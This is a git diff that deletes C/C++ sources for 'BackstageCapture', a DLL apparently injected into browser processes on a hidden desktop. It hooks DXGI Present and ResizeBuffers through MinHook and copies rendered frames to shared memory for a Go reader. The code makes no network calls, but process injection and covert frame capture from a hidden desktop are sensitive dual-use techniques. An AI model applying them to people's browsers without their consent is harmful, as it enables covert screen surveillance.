SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#pragma once - -#pragma pack(push, 1) - -// Structs for writing x86/x64 instructions. - -// 8-bit relative jump. -typedef struct _JMP_REL_SHORT -{ - UINT8 opcode; // EB xx: JMP +2+xx - INT8 operand; // Relative destination address -} JMP_REL_SHORT, *PJMP_REL_SHORT; - -// 32-bit direct relative jump/call. -typedef struct _JMP_REL -{ - UINT8 opcode; // E9/E8 xxxxxxxx: JMP/CALL +5+xxxxxxxx - INT32 operand; // Relative destination address -} JMP_REL, *PJMP_REL, CALL_REL; - -// 64-bit indirect absolute jump. -typedef struct _JMP_ABS -{ - UINT8 opcode0; // FF25 00000000: JMP [+6] - UINT8 opcode1; - UINT32 dummy; - UINT64 address; // Absolute destination address -} JMP_ABS, *PJMP_ABS; - -// 64-bit indirect absolute call. -typedef struct _CALL_ABS -{ - UINT8 opcode0; // FF15 00000002: CALL [+6] - UINT8 opcode1; - UINT32 dummy0; - UINT8 dummy1; // EB 08: JMP +10 - UINT8 dummy2; - UINT64 address; // Absolute destination address -} CALL_ABS; - -// 32-bit direct relative conditional jumps. -typedef struct _JCC_REL -{ - UINT8 opcode0; // 0F8* xxxxxxxx: J** +6+xxxxxxxx - UINT8 opcode1; - INT32 operand; // Relative destination address -} JCC_REL; - -// 64bit indirect absolute conditional jumps that x64 lacks. -typedef struct _JCC_ABS -{ - UINT8 opcode; // 7* 0E: J** +16 - UINT8 dummy0; - UINT8 dummy1; // FF25 00000000: JMP [+6] - UINT8 dummy2; - UINT32 dummy3; - UINT64 address; // Absolute destination address -} JCC_ABS; - -#pragma pack(pop) - -typedef struct _TRAMPOLINE -{ - LPVOID pTarget; // [In] Address of the target function. - LPVOID pDetour; // [In] Address of the detour function. - LPVOID pTrampoline; // [In] Buffer address for the trampoline and relay function. - -#if defined(_M_X64) || defined(__x86_64__) - LPVOID pRelay; // [Out] Address of the relay function. -#endif - BOOL patchAbove; // [Out] Should use the hot patch area? - UINT nIP; // [Out] Number of the instruction boundaries. - UINT8 oldIPs[8]; // [Out] Instruction boundaries of the target function. - UINT8 newIPs[8]; // [Out] Instruction boundaries of the trampoline function. -} TRAMPOLINE, *PTRAMPOLINE; - -BOOL CreateTrampolineFunction(PTRAMPOLINE ct); diff --git a/BackstageCapture/src/DXGICapture.c b/BackstageCapture/src/DXGICapture.c deleted file mode 100644 index 396631b..0000000 --- a/BackstageCapture/src/DXGICapture.c +++ /dev/null @@ -1,630 +0,0 @@ -//===============================================================================================// -// BackstageCapture — DXGI SwapChain::Present hook implementation. -// -// Compiled as C++ (CompileAsCpp in vcxproj). Uses C++ COM calling convention -// (obj->Method(...) rather than obj->lpVtbl->Method(obj, ...)). -// -// Strategy: -// 1. Create a temporary D3D11 device + swapchain to get the vtable address -// of IDXGISwapChain::Present (vtable index 8) and Present1 (index 22). -// 2. Hook both via MinHook. -// 3. On each Present call, use the swapchain's GetBuffer(0) to get the -// backbuffer as an ID3D11Texture2D, copy it to a staging texture, -// Map it, and write the BGRA pixels into the shared memory section. -// 4. Signal the named event so the Go reader knows a frame is ready. -//===============================================================================================// -#define WIN32_LEAN_AND_MEAN -#include -#include -#include -#include -#include - -#include "MinHook.h" -#include "DXGICapture.h" - -#ifdef __cplusplus -extern "C" { -#endif - -//-----------------------------------------------------------------------------------------------// -// Forward declarations -//-----------------------------------------------------------------------------------------------// -typedef HRESULT(STDMETHODCALLTYPE* PFN_Present)(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags); -typedef HRESULT(STDMETHODCALLTYPE* PFN_Present1)(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters); -typedef HRESULT(STDMETHODCALLTYPE* PFN_ResizeBuffers)(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags); - -static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags); -static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters); -static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags); - -//-----------------------------------------------------------------------------------------------// -// Globals -//-----------------------------------------------------------------------------------------------// -static PFN_Present g_OrigPresent = NULL; -static PFN_Present1 g_OrigPresent1 = NULL; -static PFN_ResizeBuffers g_OrigResizeBuffers = NULL; - -// Staging resources — double-buffered to avoid blocking Map calls -static ID3D11Device* g_Device = NULL; -static ID3D11DeviceContext* g_Context = NULL; -static ID3D11Texture2D* g_Staging[2] = {NULL, NULL}; -static UINT g_StagingW = 0; -static UINT g_StagingH = 0; -static DXGI_FORMAT g_StagingFmt = DXGI_FORMAT_UNKNOWN; -static UINT g_WriteIdx = 0; // CopyResource target index -static BOOL g_HasPrevFrame = FALSE; // previous staging has valid data - -// Shared memory -static HANDLE g_ShmHandle = NULL; -static void* g_ShmView = NULL; -static SIZE_T g_ShmSize = 0; -static HANDLE g_FrameEvent = NULL; -static UINT64 g_FrameSeq = 0; - -// Frequency for timestamps -static LARGE_INTEGER g_PerfFreq; - -// Rate limiting — don't copy more than ~60 fps worth of frames -static LARGE_INTEGER g_LastFrameTime; -static const LONGLONG g_MinFrameIntervalUs = 16000; // ~60fps - -// Critical section for thread safety -static CRITICAL_SECTION g_Lock; -static BOOL g_LockInitialized = FALSE; - -// Primary swap chain tracking — only capture the largest one in the GPU process -static IDXGISwapChain* g_PrimarySwapChain = NULL; -static UINT g_PrimaryArea = 0; -static UINT g_PrimaryResetCounter = 0; - -// Minimum backbuffer dimensions worth capturing (skip internal surfaces) -#define MIN_CAPTURE_WIDTH 128 -#define MIN_CAPTURE_HEIGHT 128 -#define PRIMARY_RESET_INTERVAL 300 // re-evaluate primary every ~5s at 60fps - -//-----------------------------------------------------------------------------------------------// -// Helpers -//-----------------------------------------------------------------------------------------------// -#ifndef ENABLE_DEBUG_LOGGING -#define ENABLE_DEBUG_LOGGING 1 -#endif - -static void DebugLog(const char* fmt, ...) { -#if ENABLE_DEBUG_LOGGING - char buf[1024]; - va_list args; - va_start(args, fmt); - vsnprintf(buf, sizeof(buf), fmt, args); - va_end(args); - OutputDebugStringA(buf); -#else - (void)fmt; -#endif -} - -static UINT64 GetTimestampNs(void) { - LARGE_INTEGER now; - QueryPerformanceCounter(&now); - return (UINT64)((double)now.QuadPart * 1000000000.0 / (double)g_PerfFreq.QuadPart); -} - -static void BuildShmName(char* out, size_t outLen) { - DWORD pid = GetCurrentProcessId(); - snprintf(out, outLen, "%s%lu", backstage_SHM_PREFIX, (unsigned long)pid); -} - -static void BuildEventName(char* out, size_t outLen) { - DWORD pid = GetCurrentProcessId(); - snprintf(out, outLen, "%s%lu", backstage_EVENT_PREFIX, (unsigned long)pid); -} - -//-----------------------------------------------------------------------------------------------// -// Shared memory management -//-----------------------------------------------------------------------------------------------// -static BOOL EnsureSharedMemory(UINT width, UINT height) { - UINT stride = width * 4; - SIZE_T needed = sizeof(backstageFrameHeader) + (SIZE_T)stride * height; - - if (g_ShmView && g_ShmSize >= needed) { - return TRUE; - } - - if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; } - if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; } - g_ShmSize = 0; - - char shmName[128]; - BuildShmName(shmName, sizeof(shmName)); - - wchar_t wShmName[128]; - MultiByteToWideChar(CP_ACP, 0, shmName, -1, wShmName, 128); - - DWORD sizeHigh = (DWORD)(needed >> 32); - DWORD sizeLow = (DWORD)(needed & 0xFFFFFFFF); - - g_ShmHandle = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, sizeHigh, sizeLow, wShmName); - if (!g_ShmHandle) { - DebugLog("[BackstageCapture] CreateFileMappingW failed: %lu\n", GetLastError()); - return FALSE; - } - - g_ShmView = MapViewOfFile(g_ShmHandle, FILE_MAP_WRITE, 0, 0, needed); - if (!g_ShmView) { - DebugLog("[BackstageCapture] MapViewOfFile failed: %lu\n", GetLastError()); - CloseHandle(g_ShmHandle); - g_ShmHandle = NULL; - return FALSE; - } - - g_ShmSize = needed; - - if (!g_FrameEvent) { - char evtName[128]; - BuildEventName(evtName, sizeof(evtName)); - wchar_t wEvtName[128]; - MultiByteToWideChar(CP_ACP, 0, evtName, -1, wEvtName, 128); - g_FrameEvent = CreateEventW(NULL, FALSE, FALSE, wEvtName); - } - - DebugLog("[BackstageCapture] Shared memory created: %s (%zu bytes, %ux%u)\n", shmName, needed, width, height); - return TRUE; -} - -//-----------------------------------------------------------------------------------------------// -// Staging texture management (double-buffered) -//-----------------------------------------------------------------------------------------------// -static BOOL EnsureStaging(ID3D11Device* device, UINT width, UINT height, DXGI_FORMAT fmt) { - if (g_Staging[0] && g_Staging[1] && g_StagingW == width && g_StagingH == height && g_StagingFmt == fmt) { - return TRUE; - } - - if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; } - if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; } - g_HasPrevFrame = FALSE; - g_WriteIdx = 0; - - // Normalise typeless formats to their UNORM equivalents for staging - DXGI_FORMAT stageFmt = fmt; - switch (fmt) { - case DXGI_FORMAT_B8G8R8A8_TYPELESS: stageFmt = DXGI_FORMAT_B8G8R8A8_UNORM; break; - case DXGI_FORMAT_R8G8B8A8_TYPELESS: stageFmt = DXGI_FORMAT_R8G8B8A8_UNORM; break; - case DXGI_FORMAT_R10G10B10A2_TYPELESS: stageFmt = DXGI_FORMAT_R10G10B10A2_UNORM; break; - case DXGI_FORMAT_R16G16B16A16_TYPELESS: stageFmt = DXGI_FORMAT_R16G16B16A16_FLOAT; break; - default: break; - } - - D3D11_TEXTURE2D_DESC desc; - ZeroMemory(&desc, sizeof(desc)); - desc.Width = width; - desc.Height = height; - desc.MipLevels = 1; - desc.ArraySize = 1; - desc.Format = stageFmt; - desc.SampleDesc.Count = 1; - desc.SampleDesc.Quality = 0; - desc.Usage = D3D11_USAGE_STAGING; - desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ; - desc.BindFlags = 0; - desc.MiscFlags = 0; - - HRESULT hr = device->CreateTexture2D(&desc, NULL, &g_Staging[0]); - if (FAILED(hr)) { - DebugLog("[BackstageCapture] CreateTexture2D staging[0] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt); - return FALSE; - } - hr = device->CreateTexture2D(&desc, NULL, &g_Staging[1]); - if (FAILED(hr)) { - DebugLog("[BackstageCapture] CreateTexture2D staging[1] failed: 0x%08x fmt=%u\n", hr, (unsigned)stageFmt); - g_Staging[0]->Release(); g_Staging[0] = NULL; - return FALSE; - } - - g_StagingW = width; - g_StagingH = height; - g_StagingFmt = fmt; - DebugLog("[BackstageCapture] Staging textures created: %ux%u fmt=%u\n", width, height, (unsigned)stageFmt); - return TRUE; -} - -// Is this a 32-bit-per-pixel BGRA/RGBA format we can directly memcpy? -static BOOL IsCopyable32bpp(DXGI_FORMAT fmt) { - switch (fmt) { - case DXGI_FORMAT_B8G8R8A8_UNORM: - case DXGI_FORMAT_B8G8R8A8_UNORM_SRGB: - case DXGI_FORMAT_B8G8R8A8_TYPELESS: - case DXGI_FORMAT_R8G8B8A8_UNORM: - case DXGI_FORMAT_R8G8B8A8_UNORM_SRGB: - case DXGI_FORMAT_R8G8B8A8_TYPELESS: - return TRUE; - default: - return FALSE; - } -} - -//-----------------------------------------------------------------------------------------------// -// Core frame capture — called from Present hooks (SEH-protected) -//-----------------------------------------------------------------------------------------------// -static void CaptureFrameInner(IDXGISwapChain* pSwapChain) { - // Rate limit - LARGE_INTEGER now; - QueryPerformanceCounter(&now); - LONGLONG elapsedUs = (now.QuadPart - g_LastFrameTime.QuadPart) * 1000000 / g_PerfFreq.QuadPart; - if (elapsedUs < g_MinFrameIntervalUs) { - return; - } - g_LastFrameTime = now; - - // Get the backbuffer - ID3D11Texture2D* backbuffer = NULL; - HRESULT hr = pSwapChain->GetBuffer(0, __uuidof(ID3D11Texture2D), (void**)&backbuffer); - if (FAILED(hr) || !backbuffer) { - return; - } - - // Get device/context from the backbuffer if not cached - if (!g_Device) { - ((ID3D11Resource*)backbuffer)->GetDevice(&g_Device); - if (g_Device) { - g_Device->GetImmediateContext(&g_Context); - } - } - - if (!g_Device || !g_Context) { - backbuffer->Release(); - return; - } - - D3D11_TEXTURE2D_DESC bbDesc; - backbuffer->GetDesc(&bbDesc); - - UINT w = bbDesc.Width; - UINT h = bbDesc.Height; - - if (w == 0 || h == 0 || w > backstage_MAX_WIDTH || h > backstage_MAX_HEIGHT) { - backbuffer->Release(); - return; - } - - // Skip tiny internal surfaces (tooltips, scrollbars, compositor layers) - if (w < MIN_CAPTURE_WIDTH || h < MIN_CAPTURE_HEIGHT) { - backbuffer->Release(); - return; - } - - // Track the primary (largest) swap chain — Chrome GPU process serves many - UINT area = w * h; - g_PrimaryResetCounter++; - if (g_PrimaryResetCounter >= PRIMARY_RESET_INTERVAL) { - g_PrimarySwapChain = NULL; - g_PrimaryArea = 0; - g_PrimaryResetCounter = 0; - } - if (g_PrimarySwapChain == NULL || pSwapChain == g_PrimarySwapChain) { - g_PrimarySwapChain = pSwapChain; - if (area > g_PrimaryArea) g_PrimaryArea = area; - } else if (area > g_PrimaryArea) { - g_PrimarySwapChain = pSwapChain; - g_PrimaryArea = area; - } else { - backbuffer->Release(); - return; - } - - // Only capture 32bpp BGRA/RGBA formats we can handle - if (!IsCopyable32bpp(bbDesc.Format)) { - backbuffer->Release(); - return; - } - - if (!EnsureStaging(g_Device, w, h, bbDesc.Format)) { - backbuffer->Release(); - return; - } - - if (!EnsureSharedMemory(w, h)) { - backbuffer->Release(); - return; - } - - UINT writeIdx = g_WriteIdx; - UINT readIdx = 1 - writeIdx; - - // Copy backbuffer to the write staging texture (async GPU op, returns immediately) - if (bbDesc.SampleDesc.Count > 1) { - D3D11_TEXTURE2D_DESC resolveDesc = bbDesc; - resolveDesc.SampleDesc.Count = 1; - resolveDesc.SampleDesc.Quality = 0; - resolveDesc.Usage = D3D11_USAGE_DEFAULT; - resolveDesc.BindFlags = 0; - resolveDesc.CPUAccessFlags = 0; - resolveDesc.MiscFlags = 0; - - ID3D11Texture2D* resolved = NULL; - hr = g_Device->CreateTexture2D(&resolveDesc, NULL, &resolved); - if (SUCCEEDED(hr) && resolved) { - g_Context->ResolveSubresource(resolved, 0, backbuffer, 0, bbDesc.Format); - g_Context->CopyResource(g_Staging[writeIdx], resolved); - resolved->Release(); - } else { - backbuffer->Release(); - return; - } - } else { - g_Context->CopyResource(g_Staging[writeIdx], backbuffer); - } - - backbuffer->Release(); - - // Flip staging index for next frame - g_WriteIdx = readIdx; - - // On first frame, nothing to read yet - if (!g_HasPrevFrame) { - g_HasPrevFrame = TRUE; - return; - } - - // Map the READ staging (previous frame) — non-blocking to avoid stalling Chrome's GPU thread - D3D11_MAPPED_SUBRESOURCE mapped; - hr = g_Context->Map(g_Staging[readIdx], 0, D3D11_MAP_READ, D3D11_MAP_FLAG_DO_NOT_WAIT, &mapped); - if (hr == DXGI_ERROR_WAS_STILL_DRAWING) { - return; // GPU hasn't finished the previous copy — skip - } - if (FAILED(hr)) { - DebugLog("[BackstageCapture] Map failed: 0x%08x\n", hr); - return; - } - - UINT dstStride = w * 4; - UINT srcPitch = mapped.RowPitch; - BYTE* dst = (BYTE*)g_ShmView + sizeof(backstageFrameHeader); - BYTE* src = (BYTE*)mapped.pData; - - for (UINT y = 0; y < h; y++) { - memcpy(dst + (SIZE_T)y * dstStride, src + (SIZE_T)y * srcPitch, dstStride); - } - - g_Context->Unmap(g_Staging[readIdx], 0); - - // Write header (AFTER pixel data + barrier so reader sees consistent data) - g_FrameSeq++; - backstageFrameHeader* hdr = (backstageFrameHeader*)g_ShmView; - hdr->magic = backstage_FRAME_MAGIC; - hdr->version = backstage_FRAME_VERSION; - hdr->width = w; - hdr->height = h; - hdr->stride = dstStride; - hdr->format = (UINT32)bbDesc.Format; - hdr->frameSeq = g_FrameSeq; - hdr->timestampNs = GetTimestampNs(); - hdr->pid = GetCurrentProcessId(); - hdr->reserved = 0; - - MemoryBarrier(); - - if (g_FrameEvent) { - SetEvent(g_FrameEvent); - } -} - -static void CaptureFrame(IDXGISwapChain* pSwapChain) { - if (!g_LockInitialized) return; - - if (!TryEnterCriticalSection(&g_Lock)) return; // skip if ResizeBuffers holds the lock - __try { - CaptureFrameInner(pSwapChain); - } - __except (EXCEPTION_EXECUTE_HANDLER) { - DebugLog("[BackstageCapture] SEH exception 0x%08x in CaptureFrame — skipping frame\n", - GetExceptionCode()); - } - LeaveCriticalSection(&g_Lock); -} - -//-----------------------------------------------------------------------------------------------// -// Hooked functions -//-----------------------------------------------------------------------------------------------// -static HRESULT STDMETHODCALLTYPE HookedPresent(IDXGISwapChain* pSwapChain, UINT SyncInterval, UINT Flags) { - CaptureFrame(pSwapChain); - return g_OrigPresent(pSwapChain, SyncInterval, Flags); -} - -static HRESULT STDMETHODCALLTYPE HookedPresent1(IDXGISwapChain1* pSwapChain, UINT SyncInterval, UINT PresentFlags, const DXGI_PRESENT_PARAMETERS* pPresentParameters) { - CaptureFrame((IDXGISwapChain*)pSwapChain); - return g_OrigPresent1(pSwapChain, SyncInterval, PresentFlags, pPresentParameters); -} - -static HRESULT STDMETHODCALLTYPE HookedResizeBuffers(IDXGISwapChain* pSwapChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT SwapChainFlags) { - EnterCriticalSection(&g_Lock); - if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; } - if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; } - g_StagingW = 0; g_StagingH = 0; g_StagingFmt = DXGI_FORMAT_UNKNOWN; - g_HasPrevFrame = FALSE; g_WriteIdx = 0; - g_PrimarySwapChain = NULL; g_PrimaryArea = 0; g_PrimaryResetCounter = 0; - if (g_Context) { g_Context->Release(); g_Context = NULL; } - if (g_Device) { g_Device->Release(); g_Device = NULL; } - LeaveCriticalSection(&g_Lock); - - return g_OrigResizeBuffers(pSwapChain, BufferCount, Width, Height, NewFormat, SwapChainFlags); -} - -//-----------------------------------------------------------------------------------------------// -// vtable discovery — create a dummy swapchain to get Present address -//-----------------------------------------------------------------------------------------------// -static BOOL GetDXGIPresent(void** ppPresent, void** ppPresent1, void** ppResizeBuffers) { - *ppPresent = NULL; - *ppPresent1 = NULL; - *ppResizeBuffers = NULL; - - HMODULE hD3D11 = GetModuleHandleA("d3d11.dll"); - if (!hD3D11) hD3D11 = LoadLibraryA("d3d11.dll"); - if (!hD3D11) { - DebugLog("[BackstageCapture] d3d11.dll not available\n"); - return FALSE; - } - - typedef HRESULT(WINAPI* PFN_D3D11CreateDeviceAndSwapChain)( - IDXGIAdapter*, D3D_DRIVER_TYPE, HMODULE, UINT, const D3D_FEATURE_LEVEL*, - UINT, UINT, const DXGI_SWAP_CHAIN_DESC*, IDXGISwapChain**, ID3D11Device**, - D3D_FEATURE_LEVEL*, ID3D11DeviceContext**); - - PFN_D3D11CreateDeviceAndSwapChain pCreate = - (PFN_D3D11CreateDeviceAndSwapChain)GetProcAddress(hD3D11, "D3D11CreateDeviceAndSwapChain"); - if (!pCreate) { - DebugLog("[BackstageCapture] D3D11CreateDeviceAndSwapChain not found\n"); - return FALSE; - } - - HWND hWnd = GetDesktopWindow(); - - DXGI_SWAP_CHAIN_DESC scd; - ZeroMemory(&scd, sizeof(scd)); - scd.BufferCount = 1; - scd.BufferDesc.Width = 2; - scd.BufferDesc.Height = 2; - scd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM; - scd.BufferDesc.RefreshRate.Numerator = 60; - scd.BufferDesc.RefreshRate.Denominator = 1; - scd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT; - scd.OutputWindow = hWnd; - scd.SampleDesc.Count = 1; - scd.Windowed = TRUE; - scd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD; - - IDXGISwapChain* pSwapChain = NULL; - ID3D11Device* pDevice = NULL; - ID3D11DeviceContext* pCtx = NULL; - D3D_FEATURE_LEVEL featureLevel; - - HRESULT hr = pCreate(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, NULL, 0, - D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx); - - if (FAILED(hr) || !pSwapChain) { - hr = pCreate(NULL, D3D_DRIVER_TYPE_WARP, NULL, 0, NULL, 0, - D3D11_SDK_VERSION, &scd, &pSwapChain, &pDevice, &featureLevel, &pCtx); - } - - if (FAILED(hr) || !pSwapChain) { - DebugLog("[BackstageCapture] Failed to create dummy swapchain: 0x%08x\n", hr); - if (pCtx) pCtx->Release(); - if (pDevice) pDevice->Release(); - if (pSwapChain) pSwapChain->Release(); - return FALSE; - } - - // Extract vtable pointers via raw vtable read - // IDXGISwapChain: Present is at index 8, ResizeBuffers at index 13 - void** vtable = *(void***)pSwapChain; - *ppPresent = vtable[8]; - *ppResizeBuffers = vtable[13]; - - // Try to get Present1 from IDXGISwapChain1 - IDXGISwapChain1* pSwapChain1 = NULL; - hr = pSwapChain->QueryInterface(__uuidof(IDXGISwapChain1), (void**)&pSwapChain1); - if (SUCCEEDED(hr) && pSwapChain1) { - void** vtable1 = *(void***)pSwapChain1; - // IDXGISwapChain1: Present1 is at vtable index 22 - *ppPresent1 = vtable1[22]; - pSwapChain1->Release(); - } - - pCtx->Release(); - pDevice->Release(); - pSwapChain->Release(); - - DebugLog("[BackstageCapture] vtable Present=%p Present1=%p ResizeBuffers=%p\n", - *ppPresent, *ppPresent1, *ppResizeBuffers); - return TRUE; -} - -//-----------------------------------------------------------------------------------------------// -// Public API -//-----------------------------------------------------------------------------------------------// -void InstallDXGICapture(void) { - QueryPerformanceFrequency(&g_PerfFreq); - QueryPerformanceCounter(&g_LastFrameTime); - - InitializeCriticalSection(&g_Lock); - g_LockInitialized = TRUE; - - MH_STATUS status = MH_Initialize(); - if (status != MH_OK && status != MH_ERROR_ALREADY_INITIALIZED) { - DebugLog("[BackstageCapture] MH_Initialize failed: %d\n", status); - return; - } - - void* pPresent = NULL; - void* pPresent1 = NULL; - void* pResizeBuffers = NULL; - - if (!GetDXGIPresent(&pPresent, &pPresent1, &pResizeBuffers)) { - DebugLog("[BackstageCapture] Failed to discover DXGI vtable\n"); - return; - } - - if (pPresent) { - status = MH_CreateHook(pPresent, (LPVOID)HookedPresent, (LPVOID*)&g_OrigPresent); - if (status == MH_OK) { - MH_EnableHook(pPresent); - DebugLog("[BackstageCapture] Present hooked at %p\n", pPresent); - } else { - DebugLog("[BackstageCapture] MH_CreateHook Present failed: %d\n", status); - } - } - - if (pPresent1) { - status = MH_CreateHook(pPresent1, (LPVOID)HookedPresent1, (LPVOID*)&g_OrigPresent1); - if (status == MH_OK) { - MH_EnableHook(pPresent1); - DebugLog("[BackstageCapture] Present1 hooked at %p\n", pPresent1); - } else { - DebugLog("[BackstageCapture] MH_CreateHook Present1 failed: %d\n", status); - } - } - - if (pResizeBuffers) { - status = MH_CreateHook(pResizeBuffers, (LPVOID)HookedResizeBuffers, (LPVOID*)&g_OrigResizeBuffers); - if (status == MH_OK) { - MH_EnableHook(pResizeBuffers); - DebugLog("[BackstageCapture] ResizeBuffers hooked at %p\n", pResizeBuffers); - } else { - DebugLog("[BackstageCapture] MH_CreateHook ResizeBuffers failed: %d\n", status); - } - } - - DebugLog("[BackstageCapture] DXGI hooks installed (PID %lu)\n", GetCurrentProcessId()); -} - -void RemoveDXGICapture(void) { - if (g_OrigPresent) { MH_DisableHook((LPVOID)g_OrigPresent); MH_RemoveHook((LPVOID)g_OrigPresent); } - if (g_OrigPresent1) { MH_DisableHook((LPVOID)g_OrigPresent1); MH_RemoveHook((LPVOID)g_OrigPresent1); } - if (g_OrigResizeBuffers) { MH_DisableHook((LPVOID)g_OrigResizeBuffers); MH_RemoveHook((LPVOID)g_OrigResizeBuffers); } - - MH_Uninitialize(); - - if (g_LockInitialized) { - EnterCriticalSection(&g_Lock); - } - - if (g_Staging[0]) { g_Staging[0]->Release(); g_Staging[0] = NULL; } - if (g_Staging[1]) { g_Staging[1]->Release(); g_Staging[1] = NULL; } - if (g_Context) { g_Context->Release(); g_Context = NULL; } - if (g_Device) { g_Device->Release(); g_Device = NULL; } - - if (g_ShmView) { UnmapViewOfFile(g_ShmView); g_ShmView = NULL; } - if (g_ShmHandle) { CloseHandle(g_ShmHandle); g_ShmHandle = NULL; } - if (g_FrameEvent) { CloseHandle(g_FrameEvent); g_FrameEvent = NULL; } - - if (g_LockInitialized) { - LeaveCriticalSection(&g_Lock); - DeleteCriticalSection(&g_Lock); - g_LockInitialized = FALSE; - } - - DebugLog("[BackstageCapture] Cleaned up\n"); -} - -#ifdef __cplusplus -} -#endif diff --git a/BackstageCapture/src/DXGICapture.h b/BackstageCapture/src/DXGICapture.h deleted file mode 100644 index 62d6d5a..0000000 --- a/BackstageCapture/src/DXGICapture.h +++ /dev/null @@ -1,61 +0,0 @@ -//===============================================================================================// -// BackstageCapture — DXGI SwapChain::Present hook for fast backstage frame capture. -// -// Injected into browser processes running on the hidden desktop. Hooks -// IDXGISwapChain::Present to intercept rendered frames, copies the backbuffer -// to a named shared-memory section so the Go capture thread can read them -// directly instead of using the slow PrintWindow API. -// -// Shared memory layout (backstageFrameHeader at offset 0, then pixel data): -// [backstageFrameHeader][BGRA pixel data, stride-aligned rows] -// -// Signaling: named event "Local\backstage_frame_{pid}" is set after each new frame. -//===============================================================================================// -#ifndef _DXGI_CAPTURE_H -#define _DXGI_CAPTURE_H - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -// Initialize DXGI Present hook. Call from DllMain(DLL_PROCESS_ATTACH). -void InstallDXGICapture(void); - -// Remove hook and clean up shared memory. Call from DllMain(DLL_PROCESS_DETACH). -void RemoveDXGICapture(void); - -#ifdef __cplusplus -} -#endif - -// Shared memory header — must match Go-side definition exactly. -#pragma pack(push, 1) -typedef struct { - UINT32 magic; // 'backstage' = 0x434E5648 - UINT32 version; // 1 - UINT32 width; - UINT32 height; - UINT32 stride; // bytes per row (width * 4, may be padded) - UINT32 format; // DXGI_FORMAT value (87 = B8G8R8A8_UNORM) - UINT64 frameSeq; // monotonically increasing frame counter - UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds - UINT32 pid; // process ID that produced this frame - UINT32 reserved; // alignment padding -} backstageFrameHeader; -#pragma pack(pop) - -#define backstage_FRAME_MAGIC 0x434E5648 // 'backstage' -#define backstage_FRAME_VERSION 1 - -// Maximum frame dimensions we support (prevents runaway allocation) -#define backstage_MAX_WIDTH 7680 -#define backstage_MAX_HEIGHT 4320 - -// Shared memory name format — {pid} is the decimal process ID -// e.g. "Local\backstage_frame_12345" -#define backstage_SHM_PREFIX "Local\\backstage_frame_" -#define backstage_EVENT_PREFIX "Local\\backstage_evt_" - -#endif // _DXGI_CAPTURE_H diff --git a/BackstageCapture/src/MinHook.h b/BackstageCapture/src/MinHook.h deleted file mode 100644 index 8b16ce0..0000000 --- a/BackstageCapture/src/MinHook.h +++ /dev/null @@ -1,185 +0,0 @@ -/* - * MinHook - The Minimalistic API Hooking Library for x64/x86 - * Copyright (C) 2009-2017 Tsuda Kageyu. - * All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A - * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER - * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF - * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#pragma once - -#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__) -#error MinHook supports only x86 and x64 systems. -#endif - -#include - - // MinHook Error Codes. -typedef enum 